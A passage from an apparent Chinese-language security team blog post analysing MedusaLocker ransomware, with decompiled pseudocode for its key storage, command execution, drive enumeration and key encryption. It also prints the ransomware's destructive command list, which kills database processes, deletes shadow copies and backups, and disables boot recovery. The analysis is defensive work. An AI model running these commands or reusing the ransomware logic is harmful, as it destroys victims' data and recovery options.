SmyUfAKEP3mLmIFbH1clHIz4Py4NmsjB1g7RoJ0xQVtLQ0cEBsNPwABZX7huDK++7L3RO3LQ1Lr2/qDRHXuBDcWI27HZl/FkvMIMBIQMWFqacCYBLn6GyycF8Od1Cs8tyNtMw04FdRgIci47oEj6pddHNrOiFOUBjVWAj4C84i3sqSHxN7n/AkLLf1X1xcjpePEtnYcubN6G8YEVicKJGGobzyqRTmqHQc/iG9t7Y/bKShQ9mgCnlfurJmbTVnsgULzT2Nt/wajVv++MxPj1olx94NLd60m2gAE1KnR/uKTTJBxGgXASHFsNSNoCdyqYP5SrKepWGmRFM9TKtUnCIrqtXgeaUP4SMjzVviWJwFNSedTkhWKu0NNedwC4Ss5mEdX7A3+gQt7EQRM3EnEIC45B8UF89dvkgXliN5YWF81MGtie6o1sqVr/8S/C6oV7Y5Svy7Sg1MFdMPfjiSORtWuUwscjfT3Q2UKDscqzVdm6PH4+L0/N4C9EelhxXXwK27+xGE73Jnwvc/468f+7X/BPE2aAwjLwV6i01y8May3AvF80B7PwLvzvE7JJQijPMBw/w+NYNVHsqJqZ/K9T1cTsQiolY7JIVMawTRA3M7XtbuGzvqJHwF/WbJrQhXstqVtBlhe5nYlzM4DGhxrco5OX+WUILaVkQCxuKwi8CJD/6csnYBd1JKyuyK9IcepzLM9yZmA6i+1JMwDJVEd7Nw2OAYkhy6u5WGeM=
将自带的RSA公钥和后生成并且加密后的RSA私钥写入到注册表SOFTWARE\PAIDMEMESPUBLICPRIVATE的键值中
// Hidden C++ exception states: #wind=4
__int64 __fastcall sub_7FF6BE6232C0(BYTE *lpData, BYTE *a2, __int64 a3, __int64 a4)
{
  const WCHAR *v6; // rdx
  unsigned int v7; // eax
  __int64 v8; // r9
  HKEY v9; // rbx
  WCHAR *v10; // rcx
  char v11; // di
  DWORD v12; // eax
  const WCHAR *v13; // rdx
  __int64 v14; // r9
  DWORD v15; // eax
  const WCHAR *v16; // rdx
  char v17; // si
  WCHAR *v18; // rcx
  WCHAR *v19; // rcx
  unsigned __int8 v20; // di
  LPCWSTR lpSubKey[2]; // [rsp+50h] [rbp-39h] BYREF
  __m128i si128; // [rsp+60h] [rbp-29h]
  LPCWSTR v24[2]; // [rsp+70h] [rbp-19h] BYREF
  __m128i v25; // [rsp+80h] [rbp-9h]
  LPCWSTR lpValueName[2]; // [rsp+90h] [rbp+7h] BYREF
  __int128 v27; // [rsp+A0h] [rbp+17h]
  HKEY hKey; // [rsp+100h] [rbp+77h] BYREF
  HKEY v29; // [rsp+108h] [rbp+7Fh]

  LODWORD(hKey) = 0;
  *(_OWORD *)lpSubKey = 0LL;
  si128 = 0LL;
  copy_str(lpSubKey, L"SOFTWARE\PAIDMEMES"0x12uLL, a4);
  hKey = 0LL;
  v6 = (const WCHAR *)lpSubKey;
  if ( si128.m128i_i64[1] > 7uLL )
    v6 = lpSubKey[0];
  v7 = RegCreateKeyExW(HKEY_CURRENT_USER, v6, 00LL, 00x2011Fu, 0LL, &hKey, 0LL);
  if ( v7 )
  {
    error_printf(lpValueName, v7, "RegCreateKeyExW failed.");
    throw (winreg::RegException *)lpValueName;
  }
  v9 = hKey;
  v29 = hKey;
  if ( si128.m128i_i64[1] > 7uLL )
  {
    v10 = (WCHAR *)lpSubKey[0];
    if ( (unsigned __int64)(2 * si128.m128i_i64[1] + 2) >= 0x1000 )
    {
      v10 = (WCHAR *)*((_QWORD *)lpSubKey[0] - 1);
      if ( (unsigned __int64)((char *)lpSubKey[0] - (char *)v10 - 8) > 0x1F )
        invalid_parameter_noinfo_noreturn();
    }
    j_j_free(v10);
  }
  si128 = _mm_load_si128((const __m128i *)&xmmword_7FF6BE6790D0);
  LOWORD(lpSubKey[0]) = 0;
  if ( !v9 )
    goto LABEL_34;
  *(_OWORD *)lpValueName = 0LL;
  v27 = 0LL;
  copy_str(lpValueName, L"PUBLIC"6uLL, v8);
  v11 = 1;
  LODWORD(hKey) = 1;
  v12 = 2 * *((_DWORD *)lpData + 4) + 2;
  if ( *((_QWORD *)lpData + 3) > 7uLL )
    lpData = *(BYTE **)lpData;
  v13 = (const WCHAR *)lpValueName;
  if ( *((_QWORD *)&v27 + 1) > 7uLL )
    v13 = lpValueName[0];
  if ( RegSetValueExW(v9, v13, 01u, lpData, v12) )
    goto LABEL_20;
  *(_OWORD *)v24 = 0LL;
  v25 = 0LL;
  copy_str(v24, L"PRIVATE"7uLL, v14);
  v11 = 3;
  v15 = 2 * *((_DWORD *)a2 + 4) + 2;
  if ( *((_QWORD *)a2 + 3) > 7uLL )
    a2 = *(BYTE **)a2;
  v16 = (const WCHAR *)v24;
  if ( v25.m128i_i64[1] > 7uLL )
    v16 = v24[0];
  if ( RegSetValueExW(v9, v16, 01u, a2, v15) )
LABEL_20:
    v17 = 0;
  else
    v17 = 1;
  if ( (v11 & 2) != 0 )
  {
    v11 &= ~2u;
    if ( v25.m128i_i64[1] > 7uLL )
    {
      v18 = (WCHAR *)v24[0];
      if ( (unsigned __int64)(2 * v25.m128i_i64[1] + 2) >= 0x1000 )
      {
        v18 = (WCHAR *)*((_QWORD *)v24[0] - 1);
        if ( (unsigned __int64)((char *)v24[0] - (char *)v18 - 8) > 0x1F )
          invalid_parameter_noinfo_noreturn();
      }
      j_j_free(v18);
    }
    v25 = _mm_load_si128((const __m128i *)&xmmword_7FF6BE6790D0);
    LOWORD(v24[0]) = 0;
  }
  if ( (v11 & 1) != 0 && *((_QWORD *)&v27 + 1) > 7uLL )
  {
    v19 = (WCHAR *)lpValueName[0];
    if ( (unsigned __int64)(2LL * *((_QWORD *)&v27 + 1) + 2) >= 0x1000 )
    {
      v19 = (WCHAR *)*((_QWORD *)lpValueName[0] - 1);
      if ( (unsigned __int64)((char *)lpValueName[0] - (char *)v19 - 8) > 0x1F )
        invalid_parameter_noinfo_noreturn();
    }
    j_j_free(v19);
  }
  if ( v17 )
    v20 = 1;
  else
LABEL_34:
    v20 = 0;
  if ( v9
    && (unsigned __int64)(v9 + 0x20000000) > 5
    && v9 != HKEY_CURRENT_USER_LOCAL_SETTINGS
    && v9 != HKEY_PERFORMANCE_NLSTEXT
    && v9 != HKEY_PERFORMANCE_TEXT )
  {
    RegCloseKey(v9);
  }
  return v20;
}
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

4.1.4 强制终止 SQL Server 相关进程和服务,并清除备份和恢复点

创建管道异步执行命令,并获取返回

// Hidden C++ exception states: #wind=2
__int64 __fastcall sub_7FF6BE642E00(__int64 a1, __int64 a2)
{
  _QWORD *v4; // rbx
  _QWORD *v5; // rdi
  WCHAR *v6; // rdx
  __m128i v7; // xmm1
  void *v8; // rcx
  __int64 result; // rax
  DWORD v10; // ebx
  DWORD v11; // r8d
  __int64 v12; // r8
  void *v13; // rcx
  unsigned __int64 v14; // rdx
  _QWORD *v15; // rcx
  HANDLE hReadPipe; // [rsp+50h] [rbp-B0h] BYREF
  HANDLE hWritePipe; // [rsp+58h] [rbp-A8h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+60h] [rbp-A0h] BYREF
  __int128 Src; // [rsp+78h] [rbp-88h] BYREF
  __m128i si128; // [rsp+88h] [rbp-78h]
  struct _SECURITY_ATTRIBUTES PipeAttributes; // [rsp+A0h] [rbp-60h] BYREF
  struct _STARTUPINFOW StartupInfo; // [rsp+C0h] [rbp-40h] BYREF
  __int128 v23; // [rsp+130h] [rbp+30h]
  _BYTE Buffer[1056]; // [rsp+150h] [rbp+50h] BYREF
  DWORD TotalBytesAvail; // [rsp+590h] [rbp+490h] BYREF
  DWORD NumberOfBytesRead; // [rsp+598h] [rbp+498h] BYREF

  v4 = (_QWORD *)(a2 + 24);
  v5 = (_QWORD *)(a2 + 24);
  printf_0((char *)L"[-] Run async command: %sn");
  PipeAttributes.nLength = 24;
  *(&PipeAttributes.bInheritHandle + 1) = 0;
  PipeAttributes.bInheritHandle = 1;
  PipeAttributes.lpSecurityDescriptor = 0LL;
  if ( CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0) )
  {
    StartupInfo.cb = 104;
    memset(&StartupInfo.lpReserved, 080);
    StartupInfo.dwFlags = 257;
    StartupInfo.hStdOutput = hWritePipe;
    StartupInfo.hStdError = hWritePipe;
    StartupInfo.wShowWindow = 0;
    memset(&ProcessInformation, 0sizeof(ProcessInformation));
    v6 = (WCHAR *)a2;
    if ( *v4 > 7uLL )
      v6 = *(WCHAR **)a2;
    if ( CreateProcessW(0LL, v6, 0LL, 0LL, 10x10u, 0LL, 0LL, &StartupInfo, &ProcessInformation) )
    {
      if ( hJob )
        AssignProcessToJobObject(hJob, ProcessInformation.hProcess);
      Src = 0LL;
      si128 = _mm_load_si128((const __m128i *)&xmmword_7FF6BE6790E0);
      LOBYTE(Src) = 0;
      do
      {
        v10 = WaitForSingleObject(ProcessInformation.hProcess, 1u);
        NumberOfBytesRead = 0;
        for ( TotalBytesAvail = 0; PeekNamedPipe(hReadPipe, 0LL, 00LL, &TotalBytesAvail, 0LL); TotalBytesAvail = 0 )
        {
          if ( !TotalBytesAvail )
            break;
          v11 = 1023;
          if ( TotalBytesAvail <= 0x3FF )
            v11 = TotalBytesAvail;
          if ( !ReadFile(hReadPipe, Buffer, v11, &NumberOfBytesRead, 0LL) )
            break;
          if ( !NumberOfBytesRead )
            break;
          Buffer[NumberOfBytesRead] = 0;
          v12 = -1LL;
          do
            ++v12;
          while ( Buffer[v12] );
          sub_7FF6BE626D70(&Src);
          NumberOfBytesRead = 0;
        }
      }
      while ( v10 );
      CloseHandle(hWritePipe);
      CloseHandle(hReadPipe);
      CloseHandle(ProcessInformation.hProcess);
      CloseHandle(ProcessInformation.hThread);
      *(_BYTE *)a1 = 1;
      sub_7FF6BE626680(a1 + 8, &Src);
      if ( si128.m128i_i64[1] > 0xFuLL )
      {
        v13 = (void *)Src;
        if ( (unsigned __int64)(si128.m128i_i64[1] + 1) >= 0x1000 )
        {
          v13 = *(void **)(Src - 8);
          if ( (unsigned __int64)(Src - (_QWORD)v13 - 8) > 0x1F )
            invalid_parameter_noinfo_noreturn();
        }
        j_j_free(v13);
      }
      si128 = _mm_load_si128((const __m128i *)&xmmword_7FF6BE6790E0);
      LOBYTE(Src) = 0;
      v14 = *(_QWORD *)(a2 + 24);
      if ( v14 > 7 )
      {
        v15 = *(_QWORD **)a2;
        if ( 2 * v14 + 2 >= 0x1000 )
        {
          if ( (unsigned __int64)v15 - *(v15 - 1) - 8 > 0x1F )
            goto LABEL_37;
          v15 = (_QWORD *)*(v15 - 1);
        }
        j_j_free(v15);
      }
      *(_QWORD *)(a2 + 24) = 7LL;
      goto LABEL_12;
    }
    CloseHandle(hWritePipe);
    CloseHandle(hReadPipe);
    v4 = v5;
  }
  GetLastError();
  printf_0((char *)L"[!] Failed to run async command: %s, error 0x%Xn");
  v23 = 0LL;
  v7 = _mm_load_si128((const __m128i *)&xmmword_7FF6BE6790E0);
  LOBYTE(v23) = 0;
  *(_BYTE *)a1 = 0;
  *(_OWORD *)(a1 + 8) = v23;
  *(__m128i *)(a1 + 24) = v7;
  if ( *v4 > 7uLL )
  {
    v8 = *(void **)a2;
    if ( (unsigned __int64)(2LL * *v4 + 2) < 0x1000 )
    {
LABEL_10:
      j_j_free(v8);
      goto LABEL_11;
    }
    if ( (unsigned __int64)v8 - *((_QWORD *)v8 - 1) - 8 <= 0x1F )
    {
      v8 = (void *)*((_QWORD *)v8 - 1);
      v4 = (_QWORD *)(a2 + 24);
      goto LABEL_10;
    }
LABEL_37:
    invalid_parameter_noinfo_noreturn();
  }
LABEL_11:
  *v4 = 7LL;
LABEL_12:
  result = a1;
  *(_WORD *)a2 = 0;
  *(_QWORD *)(a2 + 16) = 0LL;
  return result;
}
执行如下几个命令
"rem Kill "SQL"",
"taskkill -f -im sqlbrowser.exe",
"taskkill -f -im sql writer.exe",
"taskkill -f -im sqlserv.exe",
"taskkill -f -im msmdsrv.exe",
"taskkill -f -im MsDtsSrvr.exe",
"taskkill -f -im sqlceip.exe",
"taskkill -f -im fdlauncher.exe",
"taskkill -f -im Ssms.exe",
"taskkill -f -im SQLAGENT.EXE",
"taskkill -f -im fdhost.exe",
"taskkill -f -im ReportingServicesService.exe",
"taskkill -f -im msftesql.exe",
"taskkill -f -im pg_ctl.exe",
"taskkill -f -impostgres.exe",
"net stop MSSQLServerADHelper100",
"net stop MSSQL$ISARS",
"net stop MSSQL$MSFW",
"net stop SQLAgent$ISARS",
"net stop SQLAgent$MSFW",
"net stop SQLBrowser",
"net stop REportServer$ISARS",
"net stop SQLWriter",
"vssadmin.exe Delete Shadows /All /Quiet",
"wbadmin delete backup -keepVersion:0 -quiet",
"wbadmin DELETE SYSTEMSTABACKUP -deleteOldest",
"wmic.exe SHADOWCOPY /nointeractive",
"bcdedit.exe /set {default} recoverynabled No",
"bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"

4.1.5 遍历文件

枚举卷
// Hidden C++ exception states: #wind=1
int sub_7FF6BE635EF0()
{
  HANDLE FirstVolumeW; // rax
  void *v1; // rdi
  __int64 v2; // rcx
  __int64 i; // rcx
  WCHAR *v4; // rbx
  DWORD DosDeviceW; // eax
  __int64 v6; // rcx
  WCHAR szVolumeName[4]; // [rsp+20h] [rbp-428h] BYREF
  WCHAR DeviceName[260]; // [rsp+28h] [rbp-420h] BYREF
  WCHAR TargetPath[268]; // [rsp+230h] [rbp-218h] BYREF

  FirstVolumeW = FindFirstVolumeW(szVolumeName, 0x104u);
  v1 = FirstVolumeW;
  if ( FirstVolumeW != (HANDLE)-1LL )
  {
    v2 = -1LL;
    do
      ++v2;
    while ( szVolumeName[v2] );
    for ( i = v2 - 1; szVolumeName[0] == '\'; i = v6 - 1 )
    {
      if ( szVolumeName[1] != '\' )
        break;
      if ( szVolumeName[2] != '?' )
        break;
      if ( szVolumeName[3] != '\' )
        break;
      v4 = &szVolumeName[i];
      if ( *v4 != '\' )
        break;
      *v4 = 0;
      DosDeviceW = QueryDosDeviceW(DeviceName, TargetPath, 0x104u);
      *v4 = 92;
      if ( !DosDeviceW )
        break;
      sub_7FF6BE635CE0(szVolumeName);
      if ( !FindNextVolumeW(v1, szVolumeName, 0x104u) )
        break;
      v6 = -1LL;
      do
        ++v6;
      while ( szVolumeName[v6] );
    }
    LODWORD(FirstVolumeW) = FindVolumeClose(v1);
  }
  return (int)FirstVolumeW;
}
判断当前进程是否以管理员权限运行
      TokenHandle = 0LL;
      CurrentProcess = GetCurrentProcess();
      if ( OpenProcessToken(CurrentProcess, 8u, &TokenHandle) )
      {
        ReturnLength = 4;
        if ( GetTokenInformation(TokenHandle, TokenElevation, &TokenInformation, 4u, &ReturnLength) )
          v55 = TokenInformation;
      }
      if ( TokenHandle )
        CloseHandle(TokenHandle);
遍历网络驱动器
 *a1 = 0LL;
  a1[1] = 0LL;
  a1[2] = 0LL;
  v18 = 1;
  LogicalDrives = GetLogicalDrives();
  for ( i = 0; i < 0x1A; ++i )
  {
    if ( _bittest((const int *)&LogicalDrives, i) )
    {
      *(_OWORD *)lpRootPathName = 0LL;
      v16 = 0LL;
      v17 = 0LL;
      copy_str(lpRootPathName, L"A:"2uLL, v3);
      v5 = lpRootPathName;
      if ( v17 > 7 )
        v5 = (LPCWSTR *)lpRootPathName[0];
      *(_WORD *)v5 += i;
      v6 = (const WCHAR *)lpRootPathName;
      if ( v17 > 7 )
        v6 = lpRootPathName[0];
      if ( GetDriveTypeW(v6) == 4 )
      {
        nLength = 1028;
        v7 = (const WCHAR *)lpRootPathName;
        if ( v17 > 7 )
          v7 = lpRootPathName[0];
        if ( WNetGetConnectionW(v7, RemoteName, &nLength) )
        {
          printf_0((char *)L"[!] WNetGetConnection failed 0x%Xn");
        }
        
遍历目录,并过滤下面几个目录
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析
遍历文件,判断文件是否为勒索信
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析
判断文件是否大于0x1000
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析
过滤后缀
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析
过滤的后缀如下
200 65 00 78 00 65 00  00 00 00 00 00 00 00 00  ..e.x.e.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 64 00 600 600  00 00 00 00 00 00 00 00  ..d.l.l.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 73 00 79 00 73 00  00 00 00 00 00 00 00 00  ..s.y.s.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 69 00 600 69 00  00 00 00 00 00 00 00 00  ..i.n.i.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 72 00 64 00 70 00  00 00 00 00 00 00 00 00  ..r.d.p.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 600 600 6B 00  00 00 00 00 00 00 00 00  ..l.n.k.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 62 00 600 70 00  00 00 00 00 00 00 00 00  ..b.m.p.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 600 6F 00 76 00  00 00 00 00 00 00 00 00  ..m.o.v.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 63 00 61 00 62 00  00 00 00 00 00 00 00 00  ..c.a.b.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 75 00 72 00 600  00 00 00 00 00 00 00 00  ..u.r.l.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 76 00 73 00 69 00  78 00 00 00 00 00 00 00  ..v.s.i.x.......
05 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 600 73 00 69 00  00 00 00 00 00 00 00 00  ..m.s.i.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 70 00 79 00 63 00  00 00 00 00 00 00 00 00  ..p.y.c.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 70 00 79 00 64 00  00 00 00 00 00 00 00 00  ..p.y.d.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 76 00 64 00 600  00 00 00 00 00 00 00 00  ..v.d.m.........
04 00 00 00 00 00 00 00  07 00 00 00 00 00 00 00  ................
200 600 73 00 6F 00  600 00 00 00 00 00 00  ..j.s.o.n.......

4.1.6 aes-key生成

生成aes的key
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析
用一开始生成的公钥将刚刚生成的key用rsa加密
__int64 __fastcall enc_ran_key(__int64 a1, __int64 *a2)
{
  __int64 v4; // r14
  DWORD v5; // r13d
  unsigned int KeyParam; // edi
  bool v7; // zf
  DWORD v8; // eax
  __int64 v9; // rdi
  char *v10; // rbx
  char *v11; // rsi
  __int64 v12; // r12
  __int64 v13; // r9
  __int64 v14; // r8
  __int64 v15; // r13
  size_t v16; // rdi
  void *v17; // rcx
  char *v18; // rax
  DWORD v20; // [rsp+40h] [rbp-29h] BYREF
  DWORD v21; // [rsp+44h] [rbp-25h]
  HCRYPTKEY hKey; // [rsp+48h] [rbp-21h] BYREF
  BOOL Final; // [rsp+50h] [rbp-19h]
  HCRYPTPROV phProv; // [rsp+58h] [rbp-11h] BYREF
  void *v25; // [rsp+60h] [rbp-9h] BYREF
  char *v26; // [rsp+68h] [rbp-1h]
  __int64 v27; // [rsp+70h] [rbp+7h]
  __int128 v28; // [rsp+78h] [rbp+Fh] BYREF
  __int64 v29; // [rsp+88h] [rbp+1Fh]
  DWORD pbData; // [rsp+E0h] [rbp+77h] BYREF
  DWORD pdwDataLen; // [rsp+E8h] [rbp+7Fh] BYREF

  v4 = 0LL;
  phProv = 0LL;
  hKey = 0LL;
  v5 = 0;
  pbData = 0;
  pdwDataLen = 4;
  KeyParam = CryptAcquireContextW(&phProv, 0LL, 0LL, 1u0xF0000040);
  if ( KeyParam )
  {
    KeyParam = CryptImportKey(phProv, *(const BYTE **)a1, *(_DWORD *)(a1 + 8) - *(_DWORD *)a1, 0LL, 0, &hKey);
    if ( KeyParam )
    {
      KeyParam = CryptGetKeyParam(hKey, 8u, (BYTE *)&pbData, &pdwDataLen, 0);
      if ( KeyParam )
      {
        v7 = pbData >> 3 == 11;
        v8 = (pbData >> 3) - 11;
        pbData = v8;
        v9 = v8;
        v10 = 0LL;
        v25 = 0LL;
        v11 = 0LL;
        v26 = 0LL;
        v27 = 0LL;
        if ( !v7 )
        {
          alloc_memory(&v25, v8);
          v10 = (char *)v25;
          memset(v25, 0, (unsigned int)v9);
          v11 = &v10[v9];
          v26 = &v10[v9];
          v8 = pbData;
          v4 = v27;
        }
        v28 = 0LL;
        v29 = 0LL;
        v12 = 0LL;
        while ( 1 )
        {
          v13 = *a2;
          v14 = a2[1] - *a2;
          if ( v8 >= (unsigned __int64)(v14 - v12) )
            v8 = v14 - v5;
          v20 = v8;
          memcpy(v10, (const void *)(v12 + v13), v8);
          v21 = v20 + v5;
          v15 = a2[1] - *a2;
          v12 = v21;
          pdwDataLen = v20;
          Final = v21 == v15;
          KeyParam = CryptEncrypt(hKey, 0LL, Final, 00LL, &pdwDataLen, 0);
          if ( !KeyParam )
            break;
          if ( pdwDataLen > (unsigned __int64)(v11 - v10) )
          {
            if ( pdwDataLen <= (unsigned __int64)(v4 - (_QWORD)v10) )
            {
              v16 = pdwDataLen - (v11 - v10);
              memset(v11, 0, v16);
              v11 += v16;
              v26 = v11;
            }
            else
            {
              sub_7FF6BE635790((__int64)&v25, pdwDataLen);
              v4 = v27;
              v11 = v26;
              v10 = (char *)v25;
            }
          }
          KeyParam = CryptEncrypt(hKey, 0LL, Final, 0, (BYTE *)v10, &v20, (_DWORD)v11 - (_DWORD)v10);
          if ( !KeyParam )
            break;
          sub_7FF6BE635550(&v28, *((_QWORD *)&v28 + 1), v10, v20);
          if ( v12 == v15 )
            break;
          v8 = pbData;
          v5 = v21;
        }
        cat_(a2, &v28);
        v17 = (void *)v28;
        if ( (_QWORD)v28 )
        {
          if ( (unsigned __int64)(v29 - v28) >= 0x1000 )
          {
            v17 = *(void **)(v28 - 8);
            if ( (unsigned __int64)(v28 - (_QWORD)v17 - 8) > 0x1F )
              invalid_parameter_noinfo_noreturn();
          }
          j_j_free(v17);
        }
        if ( v10 )
        {
          v18 = v10;
          if ( (unsigned __int64)(v4 - (_QWORD)v10) >= 0x1000 )
          {
            v10 = (char *)*((_QWORD *)v10 - 1);
            if ( (unsigned __int64)(v18 - v10 - 8) > 0x1F )
              invalid_parameter_noinfo_noreturn();
          }
          j_j_free(v10);
        }
      }
    }
  }
  if ( hKey )
    CryptDestroyKey(hKey);
  if ( phProv )
    CryptReleaseContext(phProv, 0);
  return KeyParam;
}

4.1.7 加密文件

给文件添加加密后缀
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析
在开始加密前,他会先将后生成并且加密后的rsa私钥和加密后的aes密钥写入末尾
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析
以及写了了一串用于标识的加密序列
00 00 00 00 00 00 01 00 00 00 C0 71 0B 00 C0 D0 03 00
使用aes-ecb加密文件
【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

5.病毒分析概览

MedusaLocker勒索病毒采用AES-ECB对文件进行加密,并使用RSA加密AES密钥,以确保数据无法轻易恢复。病毒执行时,首先调用CryptGenRandom生成AES密钥,并随机生成的RSA私钥钥用于加密该密钥。随后,程序初始化配置,创建任务对象,加载资源,并生成公钥,同时写入注册表。病毒还会添加开机启动项,以维持持久性。执行过程中,它会强制终止SQL Server相关进程、清除备份与恢复点,并遍历系统目录和网络驱动器,筛选目标文件进行加密。在加密前,病毒将RSA私钥和AES密钥加密后写入文件末尾,确保受害者无法解密文件。

以下是solar安全团队近期处理过的常见勒索病毒后缀:
收录时间 病毒家族 相关文章
2024/9/30 medusa
【病毒分析】“美杜莎”勒索家族:从入侵到结束的全流程深度解析
2024/111 weaxor
【病毒分析】新崛起的weaxor勒索家族:疑似mallox家族衍生版,深度解析两者关联!
2024/10/23 RansomHub
【病毒分析】Ransom Hub:唯一不攻击中国的2024全球Top1勒索家族——ESXi加密器深度解析
2024/11 Fx9
【病毒分析】Fx9家族首次现身!使用中文勒索信,熟练勒索谈判
2020/01 Makop
【病毒分析】揭秘.mkp后缀勒索病毒!Makop家族变种如何进行可视化加密?
2024/05 moneyistime
【病毒分析】使用中文勒索信及沟通:MoneyIsTime 勒索家族的本地化语言转变及其样本分析
2024/9/29 lol
【病毒分析】全网首发!全面剖析.LOL勒索病毒,无需缴纳赎金,破解方案敬请期待下篇!
【工具分享】.LOL勒索病毒再也不怕!完整破解教程分享+免费恢复工具首发

2024/6/21 MBRlock
【病毒分析】假冒游戏陷阱:揭秘MBRlock勒索病毒及其修复方法
2024/6/1

Rast gang

【病毒分析】Steloj勒索病毒分析
2024/5/27 TargetOwner
【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭?
2024/5/17 Lockbit 3.0
【病毒分析】Lockbit家族Lockbit 3.0加密器分析 【成功案例】RDP暴露引发的蝴蝶效应:LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵
【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告
【病毒分析】繁体勒索信暗藏玄机!要价50万RMB赎金的Lockbit泄露版分析
2024/5/13 wormhole
【病毒分析】Wormhole勒索病毒分析
2024/3/20 locked
【病毒分析】locked勒索病毒分析【病毒分析】中国人不骗中国人?_locked勒索病毒分析
2024/3/1 lvt
【病毒分析】交了赎金也无法恢复--针对国内某知名NAS的LVT勒索病毒最新分析
2024/2/26 phobos
【病毒分析】phobos家族2700变种加密器分析报告
【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目【病毒分析】phobos家族faust变种加密器分析
【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目
【病毒分析】phobos家族Elbie变种加密器分析报告
2024/1/15 DevicData
【病毒分析】DevicData勒索病毒分析
【病毒分析】DevicData家族扩散:全球企业和机构成为勒索病毒头号攻击目标!
2023/12/1 live
【病毒分析】独家揭秘LIVE勒索病毒家族之1.0(全版本可解密)
【病毒分析】独家揭秘LIVE勒索病毒家族之1.5(全版本可解密)
【病毒分析】独家揭秘LIVE勒索病毒家族之2.0(全版本可解密)
2023/9/5 CryptoBytes
【独家破解】揭秘境外黑客组织的20美元锁机病毒:深度逆向分析+破解攻略!赎金?给你付个🥚
2023/8/28 mallox
【病毒分析】mallox家族malloxx变种加密器分析报告
【病毒分析】Mallox勒索家族新版本:加密算法全面解析
【病毒分析】全网首发!袭扰国内top1勒索病毒家族Mallox家族破解思路及技术分享
【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目
【病毒分析】mallox家族rmallox变种加密器分析报告
【病毒分析】Mallox家族再进化:首次瞄准Linux,勒索新版本全面揭秘!
2023/01 BeijngCrypt
【病毒分析】全网首发!以国内某安全厂商名字为后缀的勒索病毒分析
2021/01 babyk
【病毒分析】BabyK加密器分析-Windows篇
【病毒分析】Babyk加密器分析-NAS篇
【病毒分析】Babyk加密器分析-EXSI篇
【病毒分析】Babuk家族babyk勒索病毒分析
【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目
勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。
时间 相关文章
2024/12/12 【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第二篇-流量致盲,无声突破
2024/12/11 【攻击手法分析】勒索病毒如何轻松绕过安全设备防线:第一篇-驱动漏洞一击致命
而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。
时间 相关文章
2024/6/27 【教程分享】勒索病毒来袭!教你如何做好数据防护
2024/6/24 【教程分享】服务器数据文件备份教程
案例介绍篇聚焦于真实的攻击事件,还原病毒家族的攻击路径和策略,为用户提供详细的溯源分析和防护启示;
时间 相关文章
2024/6/27 【案例介绍】赎金提高,防御失效:某上市企业两年内两度陷入同一勒索团伙之手
漏洞与预防篇侧重于技术层面的防御手段,针对病毒利用的漏洞和安全弱点,提出操作性强的应对方案:
时间 相关文章
2025/1/8 【漏洞与预防】RDP弱口令漏洞预防
2025/1/21 【漏洞与预防】MSSQL数据库弱口令漏洞预防                      
应急响应工具教程篇重点分享应急响应过程中常用工具的安装、配置与使用说明,旨在帮助读者快速掌握这些工具的操作流程与技巧,提高其在实际应急场景中的应用熟练度与效率。
时间 相关文章
2025/1/10 【应急响应工具教程】Splunk安装与使用
2025/2/7 【应急响应工具教程】取证工具-Volatility安装与使用
如果您想了解有关勒索病毒的最新发展情况,或者需要获取相关帮助,请关注“solar专业应急响应团队”。

更多资讯 扫码加入群组交流

【病毒分析】深入剖析MedusaLocker勒索家族:从密钥生成到文件加密的全链路解析

喜欢此内容的人还喜欢

【文章转载】“劣质枪支”勒索软件:麻雀虽小,威力犹存

索勒安全团队

【漏洞与预防】MSSQL数据库弱口令漏洞预防

索勒安全团队

【病毒分析】R3强杀360:深度揭秘银狐远控病毒的技术演进

索勒安全团队

